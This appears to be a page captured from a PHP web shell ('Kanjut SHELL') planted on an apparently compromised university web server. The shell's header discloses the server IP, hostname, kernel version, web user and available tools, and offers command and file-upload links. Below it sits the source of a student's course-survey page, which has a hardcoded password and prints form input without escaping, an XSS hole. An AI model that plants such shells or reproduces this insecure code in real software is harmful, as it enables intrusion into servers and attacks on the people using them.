Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.139.67.228
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/www/info.php
<!--info page for survey form-->
<?php session_start(); ?>

<CENTER>
<font size=4>
<h2>
Results of Course Evaluation
</h2>
<hr>
</CENTER>
<h3>
Student Information
</h3>
<p>
<?php

	$pass = $_SESSION['psw'];
	$_SESSION['psw'] = $pass;
	if($pass != "ch7hw")
		print "Incorrect Password.";
	else
	{
	$student = $_SESSION['s1'];
	$gender = $_SESSION['s2'];
	$grade = $_SESSION['s3'];
	$course = $_SESSION['s4'];
	print "Name: $student <p>";
	print "Gender: $gender <p>";
	print "Grade: $grade <p>";
	print "Course: $course <p>";
?>

	<h3>
	Survey Results
	</h3>
<?php
	$a1 = $_POST['q1'];
	$a2 = $_POST['q2'];
	$a3 = $_POST['q3'];
	$a4 = $_POST['q4'];
	$comment = $_POST['comment'];

	if($a1 == "sa1")
		$a1 = "Strongly Agree";
	else if($a1 == "a1")
		$a1 = "Agree";
	else
		$a1 = "Not Agree";

	if($a2 == "sa2")
		$a2 = "Strongly Agree";
	else if($a2 == "a2")
		$a2 = "Agree";
	else
		$a2 = "Not Agree";

	if($a3 == "sa3")
		$a3 = "Strongly Agree";
	else if($a3 == "a3")
		$a3 = "Agree";
	else
		$a3 = "Not Agree";

	if($a4 == "sa4")
		$a4 = "Strongly Agree";
	else if($a4 == "a4")
		$a4 = "Agree";
	else
		$a4 = "Not Agree";

	print "1) The instructor of this class made time to help students.<ul>$a1</ul><p>";
	print "2) The grading in this class was fair.<ul>$a2</ul><p>";
	print "3) The learning material was clear.<ul>$a3</ul><p>";
	print "4) The class was orgainized.<ul>$a4</ul><p>";
	print "Comments: $comment<p>";
?>


<?php
	}
?>

<HR>
<A HREF=index.html> Home </A>
</BODY>
</font>

Stv3n404 - 2023